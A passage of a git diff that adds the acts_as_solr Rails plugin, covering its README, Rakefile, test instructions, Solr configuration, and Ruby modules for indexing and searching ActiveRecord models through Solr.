WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/README.markdown b/vendor/plugins/acts_as_solr/README.markdown new file mode 100644 index 00000000..18a7e434 --- /dev/null +++ b/vendor/plugins/acts_as_solr/README.markdown @@ -0,0 +1,89 @@ +`acts_as_solr` Rails plugin +====== +This plugin adds full text search capabilities and many other nifty features from Apache's [Solr](http://lucene.apache.org/solr/) to any Rails model. +It was based on the first draft by Erik Hatcher. + +Current Release +====== +The current stable release is v0.9 and was released on 06-18-2007. + +Changes +====== +Please refer to the CHANGE_LOG + +Installation +====== + +For Rails >= 2.1: + + script/plugin install git://github.com/mattmatt/acts_as_solr.git + +For Rails < 2.1: + + cd vendor/plugins + git clone git://github.com/mattmatt/acts_as_solr.git + rm -rf acts_as_solr/.git + +Make sure you copy `vendor/plugins/acts_as_solr/config/solr.yml` to your Rails +application's config directory, when you install via `git clone`. + +Requirements +------ +* Java Runtime Environment(JRE) 1.5 aka 5.0 [http://www.java.com/en/download/index.jsp](http://www.java.com/en/download/index.jsp) +* If you have libxml-ruby installed, make sure it's at least version 0.7 + +Configuration +====== +Basically everything is configured to work out of the box. You can use `rake solr:start` and `rake solr:stop` +to start and stop the Solr web server (an embedded Jetty). If the default JVM options aren't suitable for +your environment, you can configure them in solr.yml with the option `jvm_options`. There is a default +set for the production environment to have some more memory available for the JVM than the defaults, but +feel free to change them to your liking. + +Basic Usage +====== +

+# Just include the line below to any of your ActiveRecord models:
+  acts_as_solr
+
+# Or if you want, you can specify only the fields that should be indexed:
+  acts_as_solr :fields => [:name, :author]
+
+# Then to find instances of your model, just do:
+  Model.find_by_solr(query) #query is a string representing your query
+
+# Please see ActsAsSolr::ActsMethods for a complete info
+
+
+ + +`acts_as_solr` in your tests +====== +To test code that uses `acts_as_solr` you must start a Solr server for the test environment. You can do that with `rake solr:start RAILS_ENV=test` + +However, if you would like to mock out Solr calls so that a Solr server is not needed (and your tests will run much faster), just add this to your `test_helper.rb` or similar: + +

+class ActsAsSolr::Post
+  def self.execute(request)
+    true
+  end
+end
+
+ +([via](http://www.subelsky.com/2007/10/actsassolr-capistranhttpwwwbloggercomim.html#c1646308013209805416)) + +Authors +====== +Erik Hatcher: First draft
+Thiago Jackiw: Previous developer
+Luke Francl: Current developer
+Mathias Meyer: Current developer
+ +Release Information +====== +Released under the MIT license. + +More info +====== +The old [acts_as_solr homepage](http://acts-as-solr.railsfreaks.com) is no more. For more up-to-date information, check out the project page of the current mainline on [GitHub](http://github.com/mattmatt/acts_as_solr/wikis). \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/Rakefile b/vendor/plugins/acts_as_solr/Rakefile new file mode 100644 index 00000000..25ecdd0a --- /dev/null +++ b/vendor/plugins/acts_as_solr/Rakefile @@ -0,0 +1,45 @@ +require 'rubygems' +require 'rake' +require 'rake/testtask' + +Dir["#{File.dirname(__FILE__)}/lib/tasks/**/*.rake"].sort.each { |ext| load ext } + +desc "Default Task" +task :default => [:test] + +desc "Runs the unit tests" +task :test => "test:unit" + +namespace :test do + task :setup do + ENV['RAILS_ENV'] = "test" + require File.dirname(__FILE__) + '/config/solr_environment' + puts "Using " + DB + %x(mysql -u#{MYSQL_USER} < #{File.dirname(__FILE__) + "/test/fixtures/db_definitions/mysql.sql"}) if DB == 'mysql' + + Rake::Task["test:migrate"].invoke + end + + desc 'Measures test coverage using rcov' + task :rcov => :setup do + rm_f "coverage" + rm_f "coverage.data" + rcov = "rcov --rails --aggregate coverage.data --text-summary -Ilib" + + system("#{rcov} --html #{Dir.glob('test/**/*_test.rb').join(' ')}") + system("open coverage/index.html") if PLATFORM['darwin'] + end + + desc 'Runs the functional tests, testing integration with Solr' + Rake::TestTask.new('functional' => :setup) do |t| + t.pattern = "test/functional/*_test.rb" + t.verbose = true + end + + desc "Unit tests" + Rake::TestTask.new(:unit) do |t| + t.libs << 'test/unit' + t.pattern = "test/unit/*_shoulda.rb" + t.verbose = true + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/TESTING_THE_PLUGIN b/vendor/plugins/acts_as_solr/TESTING_THE_PLUGIN new file mode 100644 index 00000000..06d5d763 --- /dev/null +++ b/vendor/plugins/acts_as_solr/TESTING_THE_PLUGIN @@ -0,0 +1,25 @@ +acts_as_solr comes with a quick and fast unit test suite, and with a longer-running +functional test suite, the latter testing the actual integration with Solr. + +The unit test suite is written using Shoulda, so make sure you have a recent version +installed. + +Running `rake test` or just `rake` will run both test suites. Use `rake test:unit` to +just run the unit test suite. + +== How to run functional tests for this plugin: +To run the acts_as_solr's plugin tests run the following steps: + +- create a MySQL database called "actsassolr_test" (if you want to use MySQL) + +- create a new Rails project, if needed (the plugin can only be tested from within a Rails project); move/checkout acts_as_solr into its vendor/plugins/, as usual + +- copy vendor/plugins/acts_as_solr/config/solr.yml to config/ (the Rails config folder) + +- rake solr:start RAILS_ENV=test + +- rake test:functional (Accepts the following arguments: DB=sqlite|mysql and MYSQL_USER=user) + +== Troubleshooting: +If for some reason the tests don't run and you get MySQL errors, make sure you edit the MYSQL_USER entry under +config/environment.rb. It's recommended to create or use a MySQL user with no password. diff --git a/vendor/plugins/acts_as_solr/config/solr.yml b/vendor/plugins/acts_as_solr/config/solr.yml new file mode 100644 index 00000000..89373734 --- /dev/null +++ b/vendor/plugins/acts_as_solr/config/solr.yml @@ -0,0 +1,15 @@ +# Config file for the acts_as_solr plugin. +# +# If you change the host or port number here, make sure you update +# them in your Solr config file + +development: + url: http://localhost:8982/solr + +production: + url: http://localhost:8983/solr + jvm_options: -server -d64 -Xmx1024M -Xms64M + +test: + url: http://localhost:8981/solr + diff --git a/vendor/plugins/acts_as_solr/config/solr_environment.rb b/vendor/plugins/acts_as_solr/config/solr_environment.rb new file mode 100644 index 00000000..3d4aeb7e --- /dev/null +++ b/vendor/plugins/acts_as_solr/config/solr_environment.rb @@ -0,0 +1,22 @@ +ENV['RAILS_ENV'] = (ENV['RAILS_ENV'] || 'development').dup +# RAILS_ROOT isn't defined yet, so figure it out. +rails_root_dir = "#{File.dirname(File.expand_path(__FILE__))}/../../../../" +SOLR_PATH = "#{File.dirname(File.expand_path(__FILE__))}/../solr" unless defined? SOLR_PATH + +SOLR_LOGS_PATH = "#{rails_root_dir}/log" unless defined? SOLR_LOGS_PATH +SOLR_PIDS_PATH = "#{rails_root_dir}/tmp/pids" unless defined? SOLR_PIDS_PATH +SOLR_DATA_PATH = "#{rails_root_dir}/solr/#{ENV['RAILS_ENV']}" unless defined? SOLR_DATA_PATH + +unless defined? SOLR_PORT + config = YAML::load_file(rails_root_dir+'/config/solr.yml') + + SOLR_PORT = ENV['PORT'] || URI.parse(config[ENV['RAILS_ENV']]['url']).port +end + +SOLR_JVM_OPTIONS = config[ENV['RAILS_ENV']]['jvm_options'] unless defined? SOLR_JVM_OPTIONS + +if ENV['RAILS_ENV'] == 'test' + DB = (ENV['DB'] ? ENV['DB'] : 'mysql') unless defined?(DB) + MYSQL_USER = (ENV['MYSQL_USER'].nil? ? 'root' : ENV['MYSQL_USER']) unless defined? MYSQL_USER + require File.join(File.dirname(File.expand_path(__FILE__)), '..', 'test', 'db', 'connections', DB, 'connection.rb') +end diff --git a/vendor/plugins/acts_as_solr/init.rb b/vendor/plugins/acts_as_solr/init.rb new file mode 100644 index 00000000..fcbeb750 --- /dev/null +++ b/vendor/plugins/acts_as_solr/init.rb @@ -0,0 +1,21 @@ +# Copyright (c) 2006 Erik Hatcher, Thiago Jackiw +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +require 'acts_as_solr' \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/install.rb b/vendor/plugins/acts_as_solr/install.rb new file mode 100644 index 00000000..99ad8ffa --- /dev/null +++ b/vendor/plugins/acts_as_solr/install.rb @@ -0,0 +1,11 @@ +require 'fileutils' + +def install(file) + puts "Installing: #{file}" + target = File.join(File.dirname(__FILE__), '..', '..', '..', file) + FileUtils.cp File.join(File.dirname(__FILE__), file), target + dir_to_rename = File.dirname(__FILE__) + '/../trunk' + FileUtils.mv(dir_to_rename, File.dirname(__FILE__) + '/../acts_as_solr') if File.exists? dir_to_rename +end + +install File.join( 'config', 'solr.yml' ) diff --git a/vendor/plugins/acts_as_solr/lib/acts_as_solr.rb b/vendor/plugins/acts_as_solr/lib/acts_as_solr.rb new file mode 100644 index 00000000..b8d44a98 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/acts_as_solr.rb @@ -0,0 +1,59 @@ +# Copyright (c) 2006 Erik Hatcher, Thiago Jackiw +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +require 'active_record' +require 'rexml/document' +require 'net/http' +require 'yaml' + +require File.dirname(__FILE__) + '/solr' +require File.dirname(__FILE__) + '/acts_methods' +require File.dirname(__FILE__) + '/class_methods' +require File.dirname(__FILE__) + '/instance_methods' +require File.dirname(__FILE__) + '/common_methods' +require File.dirname(__FILE__) + '/deprecation' +require File.dirname(__FILE__) + '/search_results' +require File.dirname(__FILE__) + '/lazy_document' +module ActsAsSolr + + class Post + def self.execute(request) + begin + if File.exists?(RAILS_ROOT+'/config/solr.yml') + config = YAML::load_file(RAILS_ROOT+'/config/solr.yml') + url = config[RAILS_ENV]['url'] + # for backwards compatibility + url ||= "http://#{config[RAILS_ENV]['host']}:#{config[RAILS_ENV]['port']}/#{config[RAILS_ENV]['servlet_path']}" + else + url = 'http://localhost:8982/solr' + end + connection = Solr::Connection.new(url) + return connection.send(request) + rescue + raise "Couldn't connect to the Solr server at #{url}. #{$!}" + false + end + end + end + +end + +# reopen ActiveRecord and include the acts_as_solr method +ActiveRecord::Base.extend ActsAsSolr::ActsMethods diff --git a/vendor/plugins/acts_as_solr/lib/acts_methods.rb b/vendor/plugins/acts_as_solr/lib/acts_methods.rb new file mode 100644 index 00000000..0efa8c38 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/acts_methods.rb @@ -0,0 +1,222 @@ +module ActsAsSolr #:nodoc: + + module ActsMethods + + # declares a class as solr-searchable + # + # ==== options: + # fields:: This option can be used to specify only the fields you'd + # like to index. If not given, all the attributes from the + # class will be indexed. You can also use this option to + # include methods that should be indexed as fields + # + # class Movie < ActiveRecord::Base + # acts_as_solr :fields => [:name, :description, :current_time] + # def current_time + # Time.now.to_s + # end + # end + # + # Each field passed can also be a hash with the value being a field type + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :fields => [{:price => :range_float}] + # def current_time + # Time.now + # end + # end + # + # The field types accepted are: + # + # :float:: Index the field value as a float (ie.: 12.87) + # :integer:: Index the field value as an integer (ie.: 31) + # :boolean:: Index the field value as a boolean (ie.: true/false) + # :date:: Index the field value as a date (ie.: Wed Nov 15 23:13:03 PST 2006) + # :string:: Index the field value as a text string, not applying the same indexing + # filters as a regular text field + # :range_integer:: Index the field value for integer range queries (ie.:[5 TO 20]) + # :range_float:: Index the field value for float range queries (ie.:[14.56 TO 19.99]) + # + # Setting the field type preserves its original type when indexed + # + # additional_fields:: This option takes fields to be include in the index + # in addition to those derived from the database. You + # can also use this option to include custom fields + # derived from methods you define. This option will be + # ignored if the :fields option is given. It also accepts + # the same field types as the option above + # + # class Movie < ActiveRecord::Base + # acts_as_solr :additional_fields => [:current_time] + # def current_time + # Time.now.to_s + # end + # end + # + # exclude_fields:: This option taks an array of fields that should be ignored from indexing: + # + # class User < ActiveRecord::Base + # acts_as_solr :exclude_fields => [:password, :login, :credit_card_number] + # end + # + # include:: This option can be used for association indexing, which + # means you can include any :has_one, :has_many, :belongs_to + # and :has_and_belongs_to_many association to be indexed: + # + # class Category < ActiveRecord::Base + # has_many :books + # acts_as_solr :include => [:books] + # end + # + # facets:: This option can be used to specify the fields you'd like to + # index as facet fields + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :facets => [:category, :manufacturer] + # end + # + # boost:: You can pass a boost (float) value that will be used to boost the document and/or a field. To specify a more + # boost for the document, you can either pass a block or a symbol. The block will be called with the record + # as an argument, a symbol will result in the according method being called: + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :fields => [{:price => {:boost => 5.0}}], :boost => 10.0 + # end + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :fields => [{:price => {:boost => 5.0}}], :boost => proc {|record| record.id + 120*37} + # end + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :fields => [{:price => {:boost => :price_rating}}], :boost => 10.0 + # end + # + # if:: Only indexes the record if the condition evaluated is true. The argument has to be + # either a symbol, string (to be eval'ed), proc/method, or class implementing a static + # validation method. It behaves the same way as ActiveRecord's :if option. + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :if => proc{|record| record.is_active?} + # end + # + # offline:: Assumes that your using an outside mechanism to explicitly trigger indexing records, e.g. you only + # want to update your index through some asynchronous mechanism. Will accept either a boolean or a block + # that will be evaluated before actually contacting the index for saving or destroying a document. Defaults + # to false. It doesn't refer to the mechanism of an offline index in general, but just to get a centralized point + # where you can control indexing. Note: This is only enabled for saving records. acts_as_solr doesn't always like + # it, if you have a different number of results coming from the database and the index. This might be rectified in + # another patch to support lazy loading. + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :offline => proc {|record| record.automatic_indexing_disabled?} + # end + # + # auto_commit:: The commit command will be sent to Solr only if its value is set to true: + # + # class Author < ActiveRecord::Base + # acts_as_solr :auto_commit => false + # end + # + def acts_as_solr(options={}, solr_options={}) + + extend ClassMethods + include InstanceMethods + include CommonMethods + include ParserMethods + + cattr_accessor :configuration + cattr_accessor :solr_configuration + + self.configuration = { + :fields => nil, + :additional_fields => nil, + :exclude_fields => [], + :auto_commit => true, + :include => nil, + :facets => nil, + :boost => nil, + :if => "true", + :offline => false + } + self.solr_configuration = { + :type_field => "type_s", + :primary_key_field => "pk_i", + :default_boost => 1.0 + } + + configuration.update(options) if options.is_a?(Hash) + solr_configuration.update(solr_options) if solr_options.is_a?(Hash) + Deprecation.validate_index(configuration) + + configuration[:solr_fields] = {} + + after_save :solr_save + after_destroy :solr_destroy + + if configuration[:fields].respond_to?(:each) + process_fields(configuration[:fields]) + else + process_fields(self.new.attributes.keys.map { |k| k.to_sym }) + process_fields(configuration[:additional_fields]) + end + end + + private + def get_field_value(field) + field_name, options = determine_field_name_and_options(field) + configuration[:solr_fields][field_name] = options + + define_method("#{field_name}_for_solr".to_sym) do + begin + value = self[field_name] || self.instance_variable_get("@#{field_name.to_s}".to_sym) || self.send(field_name.to_sym) + case options[:type] + # format dates properly; return nil for nil dates + when :date then value ? value.utc.strftime("%Y-%m-%dT%H:%M:%SZ") : nil + else value + end + rescue + value = '' + logger.debug "There was a problem getting the value for the field '#{field_name}': #{$!}" + end + end + end + + def process_fields(raw_field) + if raw_field.respond_to?(:each) + raw_field.each do |field| + next if configuration[:exclude_fields].include?(field) + get_field_value(field) + end + end + end + + def determine_field_name_and_options(field) + if field.is_a?(Hash) + name = field.keys.first + options = field.values.first + if options.is_a?(Hash) + [name, {:type => type_for_field(field)}.merge(options)] + else + [name, {:type => options}] + end + else + [field, {:type => type_for_field(field)}] + end + end + + def type_for_field(field) + if configuration[:facets] && configuration[:facets].include?(field) + :facet + elsif column = columns_hash[field.to_s] + case column.type + when :string then :text + when :datetime then :date + when :time then :date + else column.type + end + else + :text + end + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/class_methods.rb b/vendor/plugins/acts_as_solr/lib/class_methods.rb new file mode 100644 index 00000000..287df9c4 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/class_methods.rb @@ -0,0 +1,173 @@ +require File.dirname(__FILE__) + '/common_methods' +require File.dirname(__FILE__) + '/parser_methods' + +module ActsAsSolr #:nodoc: + + module ClassMethods + include CommonMethods + include ParserMethods + + # Finds instances of a model. Terms are ANDed by default, can be overwritten + # by using OR between terms + # + # Here's a sample (untested) code for your controller: + # + # def search + # results = Book.find_by_solr params[:query] + # end + # + # You can also search for specific fields by searching for 'field:value' + # + # ====options: + # offset:: - The first document to be retrieved (offset) + # limit:: - The number of rows per page + # order:: - Orders (sort by) the result set using a given criteria: + # + # Book.find_by_solr 'ruby', :order => 'description asc' + # + # field_types:: This option is deprecated and will be obsolete by version 1.0. + # There's no need to specify the :field_types anymore when doing a + # search in a model that specifies a field type for a field. The field + # types are automatically traced back when they're included. + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :fields => [{:price => :range_float}] + # end + # + # facets:: This option argument accepts the following arguments: + # fields:: The fields to be included in the faceted search (Solr's facet.field) + # query:: The queries to be included in the faceted search (Solr's facet.query) + # zeros:: Display facets with count of zero. (true|false) + # sort:: Sorts the faceted resuls by highest to lowest count. (true|false) + # browse:: This is where the 'drill-down' of the facets work. Accepts an array of + # fields in the format "facet_field:term" + # + # Example: + # + # Electronic.find_by_solr "memory", :facets => {:zeros => false, :sort => true, + # :query => ["price:[* TO 200]", + # "price:[200 TO 500]", + # "price:[500 TO *]"], + # :fields => [:category, :manufacturer], + # :browse => ["category:Memory","manufacturer:Someone"]} + # + # scores:: If set to true this will return the score as a 'solr_score' attribute + # for each one of the instances found. Does not currently work with find_id_by_solr + # + # books = Book.find_by_solr 'ruby OR splinter', :scores => true + # books.records.first.solr_score + # => 1.21321397 + # books.records.last.solr_score + # => 0.12321548 + # + # lazy:: If set to true the search will return objects that will touch the database when you ask for one + # of their attributes for the first time. Useful when you're using fragment caching based solely on + # types and ids. + # + def find_by_solr(query, options={}) + data = parse_query(query, options) + return parse_results(data, options) if data + end + + # Finds instances of a model and returns an array with the ids: + # Book.find_id_by_solr "rails" => [1,4,7] + # The options accepted are the same as find_by_solr + # + def find_id_by_solr(query, options={}) + data = parse_query(query, options) + return parse_results(data, {:format => :ids}) if data + end + + # This method can be used to execute a search across multiple models: + # Book.multi_solr_search "Napoleon OR Tom", :models => [Movie] + # + # ====options: + # Accepts the same options as find_by_solr plus: + # models:: The additional models you'd like to include in the search + # results_format:: Specify the format of the results found + # :objects :: Will return an array with the results being objects (default). Example: + # Book.multi_solr_search "Napoleon OR Tom", :models => [Movie], :results_format => :objects + # :ids :: Will return an array with the ids of each entry found. Example: + # Book.multi_solr_search "Napoleon OR Tom", :models => [Movie], :results_format => :ids + # => [{"id" => "Movie:1"},{"id" => Book:1}] + # Where the value of each array is as Model:instance_id + # + def multi_solr_search(query, options = {}) + models = "AND (#{solr_configuration[:type_field]}:#{self.name}" + options[:models].each{|m| models << " OR #{solr_configuration[:type_field]}:"+m.to_s} if options[:models].is_a?(Array) + options.update(:results_format => :objects) unless options[:results_format] + data = parse_query(query, options, models<<")") + result = [] + if data.nil? + return SearchResults.new(:docs => [], :total => 0) + end + + docs = data.hits + return SearchResults.new(:docs => [], :total => 0) if data.total_hits == 0 + if options[:results_format] == :objects + docs.each{|doc| + k = doc.fetch('id').first.to_s.split(':') + result << k[0].constantize.find_by_id(k[1]) + } + elsif options[:results_format] == :ids + docs.each{|doc| result << {"id"=>doc.values.pop.to_s}} + end + + SearchResults.new :docs => result, :total => data.total_hits + end + + # returns the total number of documents found in the query specified: + # Book.count_by_solr 'rails' => 3 + # + def count_by_solr(query, options = {}) + data = parse_query(query, options) + data.total_hits + end + + # It's used to rebuild the Solr index for a specific model. + # Book.rebuild_solr_index + # + # If batch_size is greater than 0, adds will be done in batches. + # NOTE: If using sqlserver, be sure to use a finder with an explicit order. + # Non-edge versions of rails do not handle pagination correctly for sqlserver + # without an order clause. + # + # If a finder block is given, it will be called to retrieve the items to index. + # This can be very useful for things such as updating based on conditions or + # using eager loading for indexed associations. + def rebuild_solr_index(batch_size=0, &finder) + finder ||= lambda { |ar, options| ar.find(:all, options.merge({:order => self.primary_key})) } + start_time = Time.now + + if batch_size > 0 + items_processed = 0 + limit = batch_size + offset = 0 + begin + iteration_start = Time.now + items = finder.call(self, {:limit => limit, :offset => offset}) + add_batch = items.collect { |content| content.to_solr_doc } + + if items.size > 0 + solr_add add_batch + solr_commit + end + + items_processed += items.size + last_id = items.last.id if items.last + time_so_far = Time.now - start_time + iteration_time = Time.now - iteration_start + logger.info "#{Process.pid}: #{items_processed} items for #{self.name} have been batch added to index in #{'%.3f' % time_so_far}s at #{'%.3f' % (items_processed / time_so_far)} items/sec (#{'%.3f' % (items.size / iteration_time)} items/sec for the last batch). Last id: #{last_id}" + offset += items.size + end while items.nil? || items.size > 0 + else + items = finder.call(self, {}) + items.each { |content| content.solr_save } + items_processed = items.size + end + solr_optimize + logger.info items_processed > 0 ? "Index for #{self.name} has been rebuilt" : "Nothing to index for #{self.name}" + end + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/common_methods.rb b/vendor/plugins/acts_as_solr/lib/common_methods.rb new file mode 100644 index 00000000..1854a35e --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/common_methods.rb @@ -0,0 +1,89 @@ +module ActsAsSolr #:nodoc: + + module CommonMethods + + # Converts field types into Solr types + def get_solr_field_type(field_type) + if field_type.is_a?(Symbol) + case field_type + when :float + return "f" + when :integer + return "i" + when :boolean + return "b" + when :string + return "s" + when :date + return "d" + when :range_float + return "rf" + when :range_integer + return "ri" + when :facet + return "facet" + when :text + return "t" + else + raise "Unknown field_type symbol: #{field_type}" + end + elsif field_type.is_a?(String) + return field_type + else + raise "Unknown field_type class: #{field_type.class}: #{field_type}" + end + end + + # Sets a default value when value being set is nil. + def set_value_if_nil(field_type) + case field_type + when "b", :boolean + return "false" + when "s", "t", "d", :date, :string, :text + return "" + when "f", "rf", :float, :range_float + return 0.00 + when "i", "ri", :integer, :range_integer + return 0 + else + return "" + end + end + + # Sends an add command to Solr + def solr_add(add_xml) + ActsAsSolr::Post.execute(Solr::Request::AddDocument.new(add_xml)) + end + + # Sends the delete command to Solr + def solr_delete(solr_ids) + ActsAsSolr::Post.execute(Solr::Request::Delete.new(:id => solr_ids)) + end + + # Sends the commit command to Solr + def solr_commit + ActsAsSolr::Post.execute(Solr::Request::Commit.new) + end + + # Optimizes the Solr index. Solr says: + # + # Optimizations can take nearly ten minutes to run. + # We are presuming optimizations should be run once following large + # batch-like updates to the collection and/or once a day. + # + # One of the solutions for this would be to create a cron job that + # runs every day at midnight and optmizes the index: + # 0 0 * * * /your_rails_dir/script/runner -e production "Model.solr_optimize" + # + def solr_optimize + ActsAsSolr::Post.execute(Solr::Request::Optimize.new) + end + + # Returns the id for the given instance + def record_id(object) + eval "object.#{object.class.primary_key}" + end + + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/deprecation.rb b/vendor/plugins/acts_as_solr/lib/deprecation.rb new file mode 100644 index 00000000..94d2194c --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/deprecation.rb @@ -0,0 +1,61 @@ +module ActsAsSolr #:nodoc: + + class Post + def initialize(body, mode = :search) + @body = body + @mode = mode + puts "The method ActsAsSolr::Post.new(body, mode).execute_post is depracated. " + + "Use ActsAsSolr::Post.execute(body, mode) instead!" + end + + def execute_post + ActsAsSolr::Post.execute(@body, @mode) + end + end + + module ClassMethods + def find_with_facet(query, options={}) + Deprecation.plog "The method find_with_facet is deprecated. Use find_by_solr instead, passing the " + + "arguments the same way you used to do with find_with_facet." + find_by_solr(query, options) + end + end + + class Deprecation + # Validates the options passed during query + def self.validate_query options={} + if options[:field_types] + plog "The option :field_types for searching is deprecated. " + + "The field types are automatically traced back when you specify a field type in your model." + end + if options[:sort_by] + plog "The option :sort_by is deprecated, use :order instead!" + options[:order] ||= options[:sort_by] + end + if options[:start] + plog "The option :start is deprecated, use :offset instead!" + options[:offset] ||= options[:start] + end + if options[:rows] + plog "The option :rows is deprecated, use :limit instead!" + options[:limit] ||= options[:rows] + end + end + + # Validates the options passed during indexing + def self.validate_index options={} + if options[:background] + plog "The :background option is being deprecated. There are better and more efficient " + + "ways to handle delayed saving of your records." + end + end + + # This will print the text to stdout and log the text + # if rails logger is available + def self.plog text + puts text + RAILS_DEFAULT_LOGGER.warn text if defined? RAILS_DEFAULT_LOGGER + end + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/instance_methods.rb b/vendor/plugins/acts_as_solr/lib/instance_methods.rb new file mode 100644 index 00000000..3d1f84df --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/instance_methods.rb @@ -0,0 +1,148 @@ +module ActsAsSolr #:nodoc: + + module InstanceMethods + + # Solr id is : to be unique across all models + def solr_id + "#{self.class.name}:#{record_id(self)}" + end + + # saves to the Solr index + def solr_save + return true if indexing_disabled? + if evaluate_condition(:if, self) + logger.debug "solr_save: #{self.class.name} : #{record_id(self)}" + solr_add to_solr_doc + solr_commit if configuration[:auto_commit] + true + else + solr_destroy + end + end + + def indexing_disabled? + evaluate_condition(:offline, self) || !configuration[:if] + end + + # remove from index + def solr_destroy + return true if indexing_disabled? + logger.debug "solr_destroy: #{self.class.name} : #{record_id(self)}" + solr_delete solr_id + solr_commit if configuration[:auto_commit] + true + end + + # convert instance to Solr document + def to_solr_doc + logger.debug "to_solr_doc: creating doc for class: #{self.class.name}, id: #{record_id(self)}" + doc = Solr::Document.new + doc.boost = validate_boost(configuration[:boost]) if configuration[:boost] + + doc << {:id => solr_id, + solr_configuration[:type_field] => self.class.name, + solr_configuration[:primary_key_field] => record_id(self).to_s} + + # iterate through the fields and add them to the document, + configuration[:solr_fields].each do |field_name, options| + #field_type = configuration[:facets] && configuration[:facets].include?(field) ? :facet : :text + + field_boost = options[:boost] || solr_configuration[:default_boost] + field_type = get_solr_field_type(options[:type]) + + value = self.send("#{field_name}_for_solr") + value = set_value_if_nil(field_type) if value.to_s == "" + + # add the field to the document, but only if it's not the id field + # or the type field (from single table inheritance), since these + # fields have already been added above. + if field_name.to_s != self.class.primary_key and field_name.to_s != "type" + suffix = get_solr_field_type(field_type) + # This next line ensures that e.g. nil dates are excluded from the + # document, since they choke Solr. Also ignores e.g. empty strings, + # but these can't be searched for anyway: + # http://www.mail-archive.com/solr-dev@lucene.apache.org/msg05423.html + next if value.nil? || value.to_s.strip.empty? + [value].flatten.each do |v| + v = set_value_if_nil(suffix) if value.to_s == "" + field = Solr::Field.new("#{field_name}_#{suffix}" => ERB::Util.html_escape(v.to_s)) + field.boost = validate_boost(field_boost) + doc << field + end + end + end + + add_includes(doc) if configuration[:include] + doc + end + + private + def add_includes(doc) + if configuration[:include].is_a?(Array) + configuration[:include].each do |association| + data = "" + klass = association.to_s.singularize + case self.class.reflect_on_association(association).macro + when :has_many, :has_and_belongs_to_many + records = self.send(association).to_a + unless records.empty? + records.each{|r| data << r.attributes.inject([]){|k,v| k << "#{v.first}=#{ERB::Util.html_escape(v.last)}"}.join(" ")} + doc["#{klass}_t"] = data + end + when :has_one, :belongs_to + record = self.send(association) + unless record.nil? + data = record.attributes.inject([]){|k,v| k << "#{v.first}=#{ERB::Util.html_escape(v.last)}"}.join(" ") + doc["#{klass}_t"] = data + end + end + end + end + end + + def validate_boost(boost) + boost_value = case boost + when Float + return solr_configuration[:default_boost] if boost < 0 + boost + when Proc + boost.call(self) + when Symbol + if self.respond_to?(boost) + self.send(boost) + end + end + + boost_value || solr_configuration[:default_boost] + end + + def condition_block?(condition) + condition.respond_to?("call") && (condition.arity == 1 || condition.arity == -1) + end + + def evaluate_condition(which_condition, field) + condition = configuration[which_condition] + case condition + when Symbol + field.send(condition) + when String + eval(condition, binding) + when FalseClass, NilClass + false + when TrueClass + true + else + if condition_block?(condition) + condition.call(field) + else + raise( + ArgumentError, + "The :#{which_condition} 